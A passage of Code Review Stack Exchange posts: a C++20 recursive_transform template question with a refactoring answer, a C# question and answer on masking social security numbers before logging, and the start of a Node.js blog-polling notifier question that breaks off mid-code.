((std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) &amp;&amp; (!std::invocable&lt;Pred, Range&gt;)) constexpr auto recursive_count_if(ExPo execution_policy, const Range&amp; input, const Pred&amp; predicate) { return std::transform_reduce(execution_policy, std::cbegin(input), std::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) { return recursive_count_if(element, predicate); }); } // recursive_transform implementation template&lt;class T, std::invocable&lt;T&gt; F&gt; constexpr auto recursive_transform(const T&amp; input, const F&amp; f) { return f(input); } // specific case for std::array template&lt;class T, std::size_t S, class F&gt; constexpr auto recursive_transform(const std::array&lt;T, S&gt;&amp; input, const F&amp; f) { using TransformedValueType = decltype(recursive_transform(*input.cbegin(), f)); std::array&lt;TransformedValueType, S&gt; output; std::transform(input.cbegin(), input.cend(), output.begin(), [f](auto&amp;&amp; element) { return recursive_transform(element, f); } ); return output; } template&lt;template&lt;class...&gt; class Container, class Function, class... Ts&gt; requires (is_inserterable&lt;Container&lt;Ts...&gt;&gt; &amp;&amp; !std::invocable&lt;Function, Container&lt;Ts...&gt;&gt;) constexpr auto recursive_transform(const Container&lt;Ts...&gt;&amp; input, const Function&amp; f) { using TransformedValueType = decltype(recursive_transform(*input.cbegin(), f)); Container&lt;TransformedValueType&gt; output; std::transform(input.cbegin(), input.cend(), std::inserter(output, std::ranges::end(output)), [&amp;](auto&amp;&amp; element) { return recursive_transform(element, f); } ); return output; } #ifdef USE_BOOST_MULTIDIMENSIONAL_ARRAY template&lt;is_multi_array T, class F&gt; requires(!std::invocable&lt;F, T&gt;) constexpr auto recursive_transform(const T&amp; input, const F&amp; f) { boost::multi_array output(input); for (decltype(+input.shape()[0]) i = 0; i &lt; input.shape()[0]; i++) { output[i] = recursive_transform(input[i], f); } return output; } #endif template&lt;std::size_t dim, class T&gt; constexpr auto n_dim_vector_generator(T input, std::size_t times) { if constexpr (dim == 0) { return input; } else { auto element = n_dim_vector_generator&lt;dim - 1&gt;(input, times); std::vector&lt;decltype(element)&gt; output(times, element); return output; } } template&lt;std::size_t dim, std::size_t times, class T&gt; constexpr auto n_dim_array_generator(T input) { if constexpr (dim == 0) { return input; } else { auto element = n_dim_array_generator&lt;dim - 1, times&gt;(input); std::array&lt;decltype(element), times&gt; output; std::fill(std::begin(output), std::end(output), element); return output; } } template&lt;std::size_t dim, class T&gt; constexpr auto n_dim_deque_generator(T input, std::size_t times) { if constexpr (dim == 0) { return input; } else { auto element = n_dim_deque_generator&lt;dim - 1&gt;(input, times); std::deque&lt;decltype(element)&gt; output(times, element); return output; } } template&lt;std::size_t dim, class T&gt; constexpr auto n_dim_list_generator(T input, std::size_t times) { if constexpr (dim == 0) { return input; } else { auto element = n_dim_list_generator&lt;dim - 1&gt;(input, times); std::list&lt;decltype(element)&gt; output(times, element); return output; } } template&lt;std::size_t dim, template&lt;class...&gt; class Container = std::vector, class T&gt; constexpr auto n_dim_container_generator(T input, std::size_t times) { if constexpr (dim == 0) { return input; } else { return Container(times, n_dim_container_generator&lt;dim - 1, Container, T&gt;(input, times)); } } int main() { // std::vector&lt;int&gt; -&gt; std::vector&lt;std::string&gt; std::vector&lt;int&gt; test_vector = { 1, 2, 3 }; std::cout &lt;&lt; &quot;string: &quot; + recursive_transform(test_vector, [](int x)-&gt;std::string { return std::to_string(x); }).at(0) &lt;&lt; std::endl; // std::vector&lt;std::vector&lt;int&gt;&gt; -&gt; std::vector&lt;std::vector&lt;std::string&gt;&gt; std::vector&lt;decltype(test_vector)&gt; test_vector2 = { test_vector, test_vector, test_vector }; std::cout &lt;&lt; &quot;string: &quot; + recursive_transform(test_vector2, [](int x)-&gt;std::string { return std::to_string(x); }).at(0).at(0) &lt;&lt; std::endl; //std::vector&lt;std::vector&lt;int&gt;&gt; -&gt; std::vector&lt;std::size_t&gt; std::cout &lt;&lt; &quot;recursive_count_if: &quot; + recursive_transform(test_vector2, [](std::vector&lt;int&gt; x) { return std::to_string(recursive_count_if(x, [](int number) { return number == 3; })); }).at(0) &lt;&lt; std::endl; // std::deque&lt;int&gt; -&gt; std::deque&lt;std::string&gt; std::deque&lt;int&gt; test_deque; test_deque.push_back(1); test_deque.push_back(1); test_deque.push_back(1); auto recursive_transform_result3 = recursive_transform( test_deque, [](int x)-&gt;std::string { return std::to_string(x); }); // For testing std::cout &lt;&lt; &quot;string: &quot; + recursive_transform_result3.at(0) &lt;&lt; std::endl; // std::deque&lt;std::deque&lt;int&gt;&gt; -&gt; std::deque&lt;std::deque&lt;std::string&gt;&gt; std::deque&lt;decltype(test_deque)&gt; test_deque2; test_deque2.push_back(test_deque); test_deque2.push_back(test_deque); test_deque2.push_back(test_deque); auto recursive_transform_result4 = recursive_transform( test_deque2, [](int x)-&gt;std::string { return std::to_string(x); }); // For testing std::cout &lt;&lt; &quot;string: &quot; + recursive_transform_result4.at(0).at(0) &lt;&lt; std::endl; // std::array&lt;int, 10&gt; -&gt; std::array&lt;std::string, 10&gt; std::array&lt;int, 10&gt; test_array; for (int i = 0; i &lt; 10; i++) { test_array[i] = 1; } auto recursive_transform_result5 = recursive_transform( test_array, [](int x)-&gt;std::string { return std::to_string(x); }); // For testing std::cout &lt;&lt; &quot;string: &quot; + recursive_transform_result5.at(0) &lt;&lt; std::endl; // std::array&lt;std::array&lt;int, 10&gt;, 10&gt; -&gt; std::array&lt;std::array&lt;std::string, 10&gt;, 10&gt; std::array&lt;std::array&lt;int, 10&gt;, 10&gt; test_array2; for (int i = 0; i &lt; 10; i++) { test_array2[i] = test_array; } auto recursive_transform_result6 = recursive_transform( test_array2, [](int x)-&gt;std::string { return std::to_string(x); }); // For testing std::cout &lt;&lt; &quot;string: &quot; + recursive_transform_result6.at(0).at(0) &lt;&lt; std::endl; // std::list&lt;int&gt; -&gt; std::list&lt;std::string&gt; std::list&lt;int&gt; test_list = { 1, 2, 3, 4 }; auto recursive_transform_result7 = recursive_transform( test_list, [](int x)-&gt;std::string { return std::to_string(x); }); // For testing std::cout &lt;&lt; &quot;string: &quot; + recursive_transform_result7.front() &lt;&lt; std::endl; // std::list&lt;std::list&lt;int&gt;&gt; -&gt; std::list&lt;std::list&lt;std::string&gt;&gt; std::list&lt;std::list&lt;int&gt;&gt; test_list2 = { test_list, test_list, test_list, test_list }; auto recursive_transform_result8 = recursive_transform( test_list2, [](int x)-&gt;std::string { return std::to_string(x); }); // For testing std::cout &lt;&lt; &quot;string: &quot; + recursive_transform_result8.front().front() &lt;&lt; std::endl; return 0; } </code></pre> <p><a href="https://godbolt.org/z/jqeh8a" rel="nofollow noreferrer">A Godbolt link is here.</a></p> <p>All suggestions are welcome.</p> <p>The summary information:</p> <ul> <li><p>Which question it is a follow-up to?</p> <p><a href="https://codereview.stackexchange.com/q/251132/231235">A recursive_transform for std::vector with various return type</a>,</p> <p><a href="https://codereview.stackexchange.com/q/251823/231235">A recursive_transform Template Function with Execution Policy</a>,</p> <p><a href="https://codereview.stackexchange.com/q/253471/231235">A recursive_count_if Template Function with Execution Policy in C++</a>,</p> <p><a href="https://codereview.stackexchange.com/q/253373/231235">Avoiding requires clause if possible on a series recursive function in C++</a> and</p> <p><a href="https://codereview.stackexchange.com/q/252325/231235">A recursive_count_if Function with Automatic Type Deducing from Lambda for Various Type Arbitrary Nested Iterable Implementation in C++</a></p> </li> <li><p>What changes has been made in the code since last question?</p> <p>The usage of <code>std::invocable</code> concept is added into <code>recursive_transform</code> function implementation.</p> </li> <li><p>Why a new review is being asked for?</p> <p>Please check the implementation of this version of <code>recursive_transform</code> function and if there is any possible improvement, please let me know.</p> </li> </ul>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:50:11.363", "Id": "500102", "Score": "1", "body": "@G.Sliepen Thank you for the comments. Already updated :)" } ]
[ { "body": "<p>I’m going to suggest a completely different way of approaching this problem. It will involve a bit more code, and a bit more complexity, but in exchange, it will (I hope) make <code>recursive_transform()</code> much easier to reason about, and test.</p>\n<p>The primary reason I think refactoring <code>recursive_transform()</code> is a good idea is because right now you have 4 functions (3 + 1 conditionally defined), all of which are basically identical except for the first one. All of them are essentially this:</p>\n<pre><code>template &lt;\n std::ranges::input_range Range,\n something_something_recursively_indirectly_unary_invocable&lt;std::ranges::iterator_t&lt;Range&gt;&gt; F&gt;\nconstexpr auto recursive_transform(Range&amp;&amp; input, F&amp;&amp; f)\n{\n auto output = something_something_result_t&lt;Range, F&gt;{};\n\n auto out = something_something_get_output_iterator(output);\n\n std::ranges::transform(\n std::forward&lt;Range&gt;(input),\n out,\n [&amp;f](auto&amp;&amp; element) { return recursive_transform(element, f); }\n );\n\n return output;\n}\n</code></pre>\n<p>And the only “tricky” parts that vary between the functions are:</p>\n<ol>\n<li>the <code>something_something_recursively_indirectly_unary_invocable</code> concept</li>\n<li>the <code>something_something_result_type</code> type trait; and</li>\n<li>the <code>something_something_get_output_iterator</code> function.</li>\n</ol>\n<p>The latter two are pretty easy to figure out. The first will take a bit more work—at a single level of recursion it’s just <code>indirectly_unary_invocable&lt;ranges::iterator_t&lt;Range&gt;&gt;</code>, but we need a recursive version. But I think that’s all worth doing, because it means that all you’d need for <code>recursive_transform()</code> is the function above and the non-range one you’ve already written:</p>\n<pre><code>template &lt;typename T, std::invocable&lt;T&gt; F&gt;\nconstexpr auto recursive_transform(const T&amp; input, const F&amp; f)\n{\n return f(input);\n}\n</code></pre>\n<p>That’s 2 functions instead of 4, and you no longer need the preprocessor.</p>\n<p>With <code>F</code> properly constrained in the range version, this should work for all possible arguments:</p>\n<ol>\n<li>If <code>input</code> is <em>not</em> an input range, it will always select the non-range overload. In that case, if <code>f</code> is not a function or it can’t handle the type of <code>input</code>, you get a compile error.</li>\n<li>If <code>input</code> <em>is</em> an input range, it will check <code>f</code> next:\n<ol>\n<li>If <code>f</code> works with the elements of the input range or the elements of the elements of the input range or… and so on, recursively… then it will select the range overload.</li>\n<li>Otherwise, if <code>f</code> works with the <em>entire</em> input range (for example if you did something like <code>recursive_transform(&quot;123&quot;s, std::stoi)</code>, which should return <code>int{123}</code>), then it will select the non-range overload.</li>\n<li>Otherwise, you get a compile error, because <code>f</code> won’t work with <code>input</code> or its elements (recursively) at all.</li>\n</ol>\n</li>\n</ol>\n<p>Let’s look at those 3 “tricky”, starting with the easiest.</p>\n<h2><code>something_something_result_t&lt;Range, F&gt;</code></h2>\n<p>In your existing 3 functions, the result types are as follows:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Template parameters</th>\n<th><code>decltype(input)</code></th>\n<th>Result</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>&lt;class T, std::size_t S&gt;</code></td>\n<td><code>array&lt;T, S&gt;</code></td>\n<td><code>array&lt;R, S&gt;</code></td>\n</tr>\n<tr>\n<td><code>&lt;template&lt;class...&gt; class Container, class... Ts&gt;</code></td>\n<td><code>Container&lt;Ts&gt;</code></td>\n<td><code>Container&lt;R&gt;</code></td>\n</tr>\n<tr>\n<td><code>&lt;class T&gt;</code></td>\n<td><code>boost::multi_array&lt;T::element, N&gt;</code></td>\n<td><code>boost::multi_array&lt;T::element, N&gt;</code></td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>And your type trait pretty much writes itself:</p>\n<pre><code>template &lt;typename F, typename T&gt;\nstruct something_something_result;\n\ntemplate &lt;typename F, typename T, std::size_t S&gt;\nstruct something_something_result&lt;std::array&lt;T, S&gt;, F&gt;\n{\n using type = std:::array&lt;\n std::indirect_result_t&lt;F, std::iterator_t&lt;std::array&lt;T, S&gt;&gt;&gt;,\n S\n &gt;;\n};\n\ntemplate &lt;typename F, template &lt;typename...&gt; typename Container, typename... Ts&gt;\nstruct something_something_result&lt;Container&lt;Ts...&gt;, F&gt;\n{\n using type = Container&lt;\n something_something_recursively_indirect_result_t&lt;\n F,\n std::iterator_t&lt;Container&lt;Ts...&gt;&gt;\n &gt;\n &gt;;\n};\n\n#ifdef USE_BOOST_MULTIDIMENSIONAL_ARRAY\ntemplate &lt;typename F, typename U, std::size_t Dims&gt;\nstruct something_something_result&lt;boost::multi_array&lt;U, Dims&gt;&gt;\n{\n using type = boost::multi_array&lt;std::invoke_result_t&lt;F, U&gt;, Dims&gt;;\n};\n#endif // USE_BOOST_MULTIDIMENSIONAL_ARRAY\n\ntemplate &lt;typename... Args&gt;\nusing something_something_result_t =\n typename something_something_result&lt;Args...&gt;::type;\n</code></pre>\n<p>All you need now is that <code>something_something_recursively_indirect_result_t&lt;F, I&gt;</code> type trait, which is just:</p>\n<ol>\n<li><code>indirect_result_t&lt;F, I&gt;</code> if that exists; or</li>\n<li><code>indirect_result_t&lt;F, iterator_t&lt;iter_reference_t&lt;I&gt;&gt;</code> recursively, otherwise.</li>\n</ol>\n<p>which is trivial to implement with <code>std::indirectly_unary_invocable</code>.</p>\n<p>And once you have that…</p>\n<h2><code>something_something_recursively_indirectly_unary_invocable&lt;F, I&gt;</code></h2>\n<p>… this concept is just:</p>\n<pre><code>template &lt;typename F, typename I&gt;\nconcept something_something_recursively_indirectly_unary_invocable =\n requires\n {\n typename something_something_recursively_indirect_result&lt;F, I&gt;::type;\n };\n</code></pre>\n<p>And finally…</p>\n<h2><code>something_something_get_output_iterator(Range&amp;)</code></h2>\n<p>This is just a function template, and you can vary what it does depending on the type of the output range given using a number of different techniques. For example:</p>\n<pre><code>template &lt;std::ranges::output_range Range&gt;\nconstexpr auto something_something_get_output_iterator(Range&amp; output)\n{\n // If it's a std::array...\n if constexpr (is_array_v&lt;Range&gt;)\n return output.begin();\n#ifdef USE_BOOST_MULTIDIMENSIONAL_ARRAY\n // If it's a boost::multi_array\n else if constexpr (is_boost_multi_array_v&lt;Range&gt;)\n return output.data();\n#endif // USE_BOOST_MULTIDIMENSIONAL_ARRAY\n else\n return std::inserter(output, std::ranges::end(output));\n}\n</code></pre>\n<p>You could even be clever and do things like also taking the input range as an argument, and then if <code>ranges::size(input)</code> and <code>output.reserve(size)</code> are both valid expressions (such as for <code>std::vector</code>), you can do <code>output.reserve(std::ranges::size()); return output.begin();</code>.</p>\n<p>(You might also <em>need</em> to take <code>input</code> as an argument, if you need it to properly set up <code>boost::multi_array</code> with the right dimensions and sizes. I’ve never used it, so I don’t know how it works.)</p>\n<h2>The bigger picture</h2>\n<p>Obviously names like <code>something_something_*</code> are silly, but you could replace the <code>something_something_</code> with a detail namespace.</p>\n<p><em>HOWEVER</em>…</p>\n<p>Some of the traits we needed to make all this work are actually useful in their own right. <code>recursively_indirect_result&lt;F, I&gt;</code> seems particularly useful, as does stuff like <code>recursively_indirectly_unary_invocable&lt;F, I&gt;</code>. With those, the entirety of <code>recursive_transform()</code> could be:</p>\n<pre><code>template &lt;typename T, std::invocable&lt;T&gt; F&gt;\nconstexpr auto recursive_transform(T&amp;&amp; input, F&amp;&amp; f)\n{\n return f(std::forward&lt;T&gt;(input));\n}\n\ntemplate &lt;std::input_range Range, recursively_indirectly_unary_invocable&lt;std::iterator_t&lt;Range&gt;&gt; F&gt;\nconstexpr auto recursive_transform(Range&amp;&amp; input, F&amp;&amp; f)\n{\n auto output = detail_::recursive_transform_result_type_t&lt;Range&amp;&amp;, F&amp;&amp;&gt;{};\n\n std::ranges::transform(\n std::forward&lt;Range&gt;(input),\n detail_::get_output_iterator(output),\n [&amp;f](auto&amp;&amp; x) { return recursive_transform(x, f); }\n );\n\n return output;\n}\n</code></pre>\n<p>… and all the special-case messiness is hidden in the <code>detail_</code> namespace.</p>\n<p>As a side benefit, if you want to support <em>more</em> special cases (for example, adding that optimization where it’s possible to do <code>output.reserve(ranges.size(input))</code>), those all become implementation details, and don’t require yet-another overload of <code>recursive_transform()</code> that isn’t really necessary because it doesn’t actually change the behaviour of <code>recursive_transform()</code>.</p>\n<p>Yet another side benefit is that it will make everything much easier to test. You can test the type traits and concepts independently from the actual algorithm… which is a good thing, because they’re not actually part of the algorithm. And, again, as you add more special cases (which, unfortunately, you kinda need since you’re creating the output container internally), you can test those independently of the actual algorithm, and everything will Just Work when you use those special-case container types with the algorithm. (If you <em>don’t</em> test all those special cases separately, then every time you add a new overload, you need a whole new suite of tests for it (such as when it’s empty, when you use a function that moves from the input container, etc., etc.).)</p>\n<p>So I’d recommend creating the following:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Type</th>\n<th>Name</th>\n<th>Description</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Type trait</td>\n<td><code>recursively_indirect_result&lt;F, I&gt;</code></td>\n<td>Same as <code>std::indirect_result_t&lt;F, I&gt;</code> if that has a <code>type</code> member. Otherwise, <code>std::indirect_result_t&lt;F, std::ranges::iterator_t&lt;std::iter_reference_t&lt;I&gt;&gt;</code>.</td>\n</tr>\n<tr>\n<td>Type alias</td>\n<td><code>recursively_indirect_result_t&lt;F, I&gt;</code></td>\n<td>Just <code>recursively_indirect_result&lt;F, I&gt;::type</code>.</td>\n</tr>\n<tr>\n<td>Concept</td>\n<td><code>recursively_indirectly_unary_invocable&lt;F, I&gt;</code></td>\n<td>You could define this a number of ways, all with pros and cons. The easiest way would probably be to just check for <code>type</code> in <code>recursively_indirect_result&lt;F, I&gt;</code>, but you could also put together a <code>is_recursively_indirectly_invocable&lt;F, I&gt;</code> type trait and use that.</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>… and adding a detail namespace with a type trait to generate the result type of a recursive transform, and a helper function to get an output iterator to write to that result. Then <code>recursive_transform()</code> simplifies to the two functions above. (You could even further simplify it to <em>one</em> function, using <code>if constexpr</code>, but that seems excessive since the two overloads do conceptually different things.)</p>\n<h1>Other minor nitpicks</h1>\n<p>You take the transform function by <code>const&amp;</code>, but you’ll note that I use forwarding references. This isn’t just a matter of taste. If you force the function to be <code>const</code>, then you can’t use anything that doesn’t have a <code>const</code> <code>operator()</code>. Similar logic applies for taking <code>input</code> by <code>const&amp;</code>; that prevents you from doing anything that might mutate the input, including moving the elements out while you’re transforming them.</p>\n<p>For example, this won’t work if either <code>input</code> or <code>f</code> has to be <code>const</code>:</p>\n<pre><code>struct transform_and_count\n{\n auto count = std::size_t{0};\n\n auto operator()(std::string&amp; d)\n {\n ++count;\n return transform(std::move(d));\n }\n};\n\nauto get_input() -&gt; std::forward_list&lt;std::string&gt;;\n\nauto transform_counter = transform_and_count{};\nauto result = recursive_transform(get_input(), transform_counter);\n\n// Now all the strings have been transformed and moved into result, with no\n// unnecessary copies. And the number of strings is in the counter's count\n// member, so we don't need to traverse the forward list a second time to\n// find out how many strings we have.\n</code></pre>\n<p>Your test cases don’t catch this issue because they all use lamdas—which have <code>const</code> <code>operator()</code> functions by default (though you can change that by using <code>mutable</code>)—and because none of them do anything that require non-<code>const</code> elements.</p>\n<p>This also means you don’t want to be using <code>cbegin()</code> and <code>cend()</code>.</p>\n<p>Also, it’s probably a typo, but you’re copying <code>f</code> in the <code>std::array</code> overload.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T19:01:53.857", "Id": "253634", "ParentId": "253556", "Score": "1" } } ]
{ "AcceptedAnswerId": "253634", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T22:52:10.690", "Id": "253556", "Score": "2", "Tags": [ "c++", "recursion", "lambda", "c++20" ], "Title": "A recursive_transform Template Function Implementation with std::invocable concept in C++" }
253556
<p>I have this method (consisting of three methods) that I need to use for looking through objects that are going to be serializes and logged as json objects.</p> <p><strong>a bit of intro (not necessary to read)</strong></p> <p>The initial problem was that I noticed that sometimes I would receive data in objects from external api's that would contain personal sensitive data i.e social security numbers. I would still like to log these objets though, I just want to sanitize the social sec numbers away, and I also would like to have some method that could this for object with any kind of internal structure, such that I could reuse it, and would'nt need to rewrite a new sanitization method for each log.</p> <p><strong>The problem</strong></p> <p>So now I wanted these methods that could look into objects of any type, and sanitize all the string fields, such that the strings would look the same, but for any string field with a social security number of the type 123456-7891, should be replaced with XXXXXX-XXXX.</p> <pre class="lang-cs prettyprint-override"><code>public static void DoitNow(object obj) { Queue&lt;PropertyInfo&gt; properties = new Queue&lt;PropertyInfo&gt;(obj.GetType().GetProperties()); while (properties.Count != 0) { PropertyInfo property = properties.Dequeue(); if (property.GetValue(obj) is string) { string stringField = property.GetValue(obj).ToString(); String sanitizedField = sanitizeSensitiveString(stringField); property.SetValue(obj, sanitizedField); } else if (property.GetValue(obj) is IList) { IList y = (IList)property.GetValue(obj); if (y.Count != 0) { if (y[0] is string) { for (int i = 0; i &lt; y.Count; i++) y[i] = sanitizeSensitiveString((string)y[i]); } else if (IsNested(y[0])) { for (int i = 0; i &lt; y.Count; i++) { DoitNow(y[i]); } } } } else if (IsNested(property.GetValue(obj))) { var l = property.GetValue(obj); DoitNow(l); } } } public static string sanitizeSensitiveString(string sensitiveString) { return Regex.Replace(sensitiveString, @&quot;\d{6}-?\d{4}[0-9]*&quot;, &quot; XXXXXX-XXXX &quot;); } public static bool IsNested(object value) { Type t = value.GetType(); if (t.IsPrimitive || value is string) { return false; } FieldInfo[] fields = t.GetFields(BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance); if (fields.Any()) { return true; } return false; } </code></pre> <p>Now, the method <code>DoitNow</code> is the core method here, it takes any object as a parameter, and uses projection to look through all the properties of it. If a field is a string field, we use the method <code>sanitizeSensitiveString</code> to sanitize the string. If a property is itself a object (I use the method <code>isNested</code> to determine this) I will call the method recursively on it. If a property is a List type, I look into the list and sanitize if it contains strings, and recurse if it contains complex objects.</p> <p>I would like to get some tips on my <code>IsNested</code> method, am I using projection right? In general am I using projection In a way that makes sense to access the fields and modify them?</p> <p>Also, In order to be able to operate with many list types, I use the <code>IList</code> interface, however this has led me to using for-loops in a way that I find very un-elegant, can I replace some of my loops with some functional type function calls? I also use if (list.count != 0) to test if a list is empty, I just find this plain stupid.</p> <p>Any other optimizations are welcomed!</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T10:25:26.937", "Id": "500041", "Score": "0", "body": "Your method is called `DoitNow`? Your parameter is named `obj`?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T10:28:39.560", "Id": "500042", "Score": "0", "body": "yeah Doitnow, but obj makes good sense, nice and generic" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T11:54:07.197", "Id": "500046", "Score": "0", "body": "@n00bster Your regex accepts this input as well: `1234567891` so without the hyphen." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T12:23:06.420", "Id": "500048", "Score": "0", "body": "yes this is on purpose" } ]
[ { "body": "<p>As always simplicity is king. In my opinion you have done a lots of extra effort which might not be necessary.</p>\n<p>Let's look at the problem from 10 000 feet high:</p>\n<ul>\n<li>You receive an arbitrary object as input</li>\n<li>You need to produce a string output where the SN data are masked out</li>\n</ul>\n<p>What if you first serialize the data and then mask it?</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public static string MaskOut(object toBeMaskedObject,\n string regexPattern = @&quot;\\d{6}-?\\d{4}[0-9]*&quot;,\n string mask = &quot; XXXXXX-XXXX &quot;)\n{\n var serializedData = JsonConvert.SerializeObject(toBeMaskedObject);\n return Regex.Replace(serializedData, regexPattern, mask);\n}\n</code></pre>\n<p>And that's it.</p>\n<p>I've used the following data structures for testing:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>var simpleWithoutSN = new\n{\n Desc = &quot;123&quot;,\n Id = 1\n};\n\nvar simpleWithSN = new\n{\n SN = &quot;123456-7891&quot;,\n Id = 1 \n};\n\nvar nestedWithSN = new\n{\n Id = 1,\n Items = new []\n {\n new { SN = &quot;123456-7891&quot;,},\n new { SN = &quot;123456-7892&quot;,},\n }\n \n};\n\nConsole.WriteLine(MaskOut(simpleWithoutSN));\nConsole.WriteLine(MaskOut(simpleWithSN));\nConsole.WriteLine(MaskOut(nestedWithSN));\n</code></pre>\n<p>The output will be:</p>\n<pre class=\"lang-json prettyprint-override\"><code>{&quot;Desc&quot;:&quot;123&quot;,&quot;Id&quot;:1}\n{&quot;SN&quot;:&quot; XXXXXX-XXXX &quot;,&quot;Id&quot;:1}\n{&quot;Id&quot;:1,&quot;Items&quot;:[{&quot;SN&quot;:&quot; XXXXXX-XXXX &quot;},{&quot;SN&quot;:&quot; XXXXXX-XXXX &quot;}]}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T12:25:13.583", "Id": "500049", "Score": "0", "body": "This might work! The only thing is that the logging framework I am required to use already does some serializing to json, which I think might create issues, if I attempt to serialize a json object to json" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T11:50:53.403", "Id": "253571", "ParentId": "253557", "Score": "2" } } ]
{ "AcceptedAnswerId": "253571", "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T23:07:20.763", "Id": "253557", "Score": "2", "Tags": [ "c#" ], "Title": "Simplifying these methods for iterating through object and modifying string fields" }
253557
<p>My code checks if a new subbed episode of a TV show is out by checking the designated blog. The blogs url returns a json which is then parsed for episode number, direct video link, embed video link, and banner image. The retrieved episode number is then compared to the current episode number which is read in from a jason loaded on init. If there's a new episode, a notification is sent via Line with the links and banner and the current episode is set to the retrieved ep number and then saved to the json file. This whole process is repeated every 30 minutes (starting on Thursday) via cron until a new episode is found. There is also a small console I designed for means of troubleshooting and and setting variables during run.</p> <p>I'm kinda a beginner with nodejs. How is my code performance-wise? How could I refactor this so it's a bit cleaner?</p> <p>Much thanks!</p> <pre><code>var axios = require(&quot;axios&quot;); const fs = require('fs'); require('dotenv').config() const CronJob = require('cron').CronJob; const RealDebridClient = require('node-real-debrid') const RD = new RealDebridClient(process.env.DEBRID_TOKEN); const LineToken = process.env.LINE_TOKEN; const jsdom = require(&quot;jsdom&quot;); const { JSDOM } = jsdom; var beau = require(&quot;json-beautify&quot;); var readline = require('readline'); var events = require('events'); var consoler = new events.EventEmitter(); var state = JSON.parse(fs.readFileSync(&quot;./saveVar.json&quot;)); var LastEp = state.LastEp; var jobRunning = state.jobRunning; var forcedRun = state.forcedRun; var job = new CronJob('0/30 * * * *', () =&gt; getBlogPost(), null, false, &quot;America/New_York&quot;); var jobJobber = new CronJob('0/15 12 * * 4', () =&gt; { if(!job.running){ jobToggle(); console.log(&quot;Blog checker Job started&quot;); getBlogPost(); } }, null, false, &quot;America/New_York&quot;); var rl = readline.createInterface({ input: process.stdin, output: process.stdout }); var data = {}; var LineConfig = { method: 'post', url: 'https://api.line.me/v2/bot/message/broadcast', headers: { 'Authorization': 'Bearer ' + LineToken, 'Content-Type': 'application/json' }, data: null }; var isArray = (obj) =&gt; Object.prototype.toString.call(obj) === '[object Array]'; async function getCherryData () { let request, json, cherry; request = await axios.default.get(&quot;https://irozuku.org/fansub/wp-json/wp/v2/posts&quot;).catch( (error) =&gt; console.log(error)); json = await request.data; cherry = {}; json.reverse().forEach(json =&gt; { if( isArray(json.tags)){ if(json.tags.includes(50)){ cherry = json; cherry.epNo = cherry.slug.substring(cherry.slug.length-2, cherry.slug.length); return; } } else if(json.tags == 50){ cherry = json; cherry.epNo = cherry.slug.substring(cherry.slug.length-2, cherry.slug.length); return; } }); return cherry; } async function getBlogPost() { process.stdout.clearLine() process.stdout.cursorTo(0) console.log(&quot;\nChecking ep status...&quot;); let cherry = await getCherryData(); let dom = new JSDOM(cherry.content.rendered); let banner = cherry.jetpack_featured_media_url let embedLink = dom.window.document.body.getElementsByTagName('iframe')[0].src let oldLink = dom.window.document.body.getElementsByTagName('a')[0].href let check = await CheckPost(oldLink, cherry.epNo); if (check.new) { console.log(&quot;New ep, creating link...&quot;); let newLink = await RD.unrestrict.link(oldLink); console.log(&quot;Link created!&quot;); UpdateLineData(parseInt(cherry.epNo),embedLink,(newLink.download + &quot;.mp4&quot;), banner); console.log(&quot;Sending notification...&quot;); makeRequest(LineConfig); } else if (!check.new) return; else{ logError(cherry); console.log(&quot;An error has occured, check the log file.&quot;); } if(job.running){ jobToggle(); console.log(&quot;Check post completed, Blog Checker Job stopped.&quot;); return; } else if (forcedRun){ console.log(&quot;Check post completed forced run!&quot;); forcedRunToggle(); return; } else console.log(&quot;Check post completed, yet Blog Checker Job is not running...&quot;); if(!forcedRun) process.stdout.write(&quot;\nCommand: &quot;); } async function CheckPost(link, curEp) { let check = {}; check.errors = false; if (!link.includes(&quot;mediafire&quot;)) { check.errors = true; return check; } if(parseInt(curEp) &gt; parseInt(LastEp)){ check.new = true; LastEp = parseInt(curEp); UpdateState(); return check; } else if( curEp == LastEp ){ check.new = false; console.log(&quot;No new episode...&quot;); if(!forcedRun) process.stdout.write(&quot;\n\nCommand: &quot;); } else check.errors = true; return check; } function logError(cherry) { let log = { link: cherry.link, body: cherry.content, CurrentEp: cherry.epNo, LastEp: LastEp, } fs.writeFileSync(&quot;error.log&quot;,beau(log, null, 2, 100)); } function UpdateLineData(epNo, emLink, KodiLink, banner) { data = {&quot;messages&quot;:[{&quot;type&quot;:&quot;flex&quot;,&quot;altText&quot;:`Episode ${epNo} is Now Available`,&quot;contents&quot;:{&quot;type&quot;:&quot;bubble&quot;,&quot;size&quot;:&quot;giga&quot;,&quot;hero&quot;:{&quot;type&quot;:&quot;image&quot;,&quot;url&quot;: 